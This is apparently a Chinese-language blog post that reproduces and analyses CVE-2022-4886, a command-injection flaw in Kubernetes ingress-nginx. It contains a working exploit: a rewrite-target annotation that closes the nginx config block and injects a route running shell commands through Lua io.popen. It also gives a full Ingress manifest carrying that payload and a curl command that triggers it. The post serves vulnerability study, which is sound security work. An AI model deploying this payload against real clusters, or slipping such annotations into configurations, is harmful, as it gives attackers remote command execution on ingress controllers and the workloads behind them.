CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示 

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

 在容器中可以看到

 curl --header "Host: k8s.evil.me" http://10.98.219.148/

相关推荐

  1. paddlepaddle/paddle 命令注入漏洞_$1500 CVE-2024-0934

    2023-12-05 20:30:06       16 阅读
  2. 【漏洞】NotificationX SQL注入漏洞(CVE-2024-1698)

    2023-12-05 20:30:06       22 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-05 20:30:06       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-05 20:30:06       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-05 20:30:06       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-05 20:30:06       20 阅读

热门阅读

  1. 【lua】获取某月最大天数

    2023-12-05 20:30:06       31 阅读
  2. 【Android 线程】在子线程中更新UI

    2023-12-05 20:30:06       40 阅读
  3. spark学习一-------------------Spark算子最详细介绍

    2023-12-05 20:30:06       35 阅读
  4. 再探Docker:从Docker基础到跨服务器部署

    2023-12-05 20:30:06       24 阅读
  5. SSL证书认证对搜索引擎有影响吗?

    2023-12-05 20:30:06       44 阅读
  6. 如何判别使用的junit是4还是5

    2023-12-05 20:30:06       31 阅读
  7. 异常与junit

    2023-12-05 20:30:06       40 阅读
  8. CF 1901B Chip and Ribbon 学习笔记

    2023-12-05 20:30:06       44 阅读
  9. springcloud==ribbon

    2023-12-05 20:30:06       38 阅读
  10. 【光的波长和频率计算】

    2023-12-05 20:30:06       37 阅读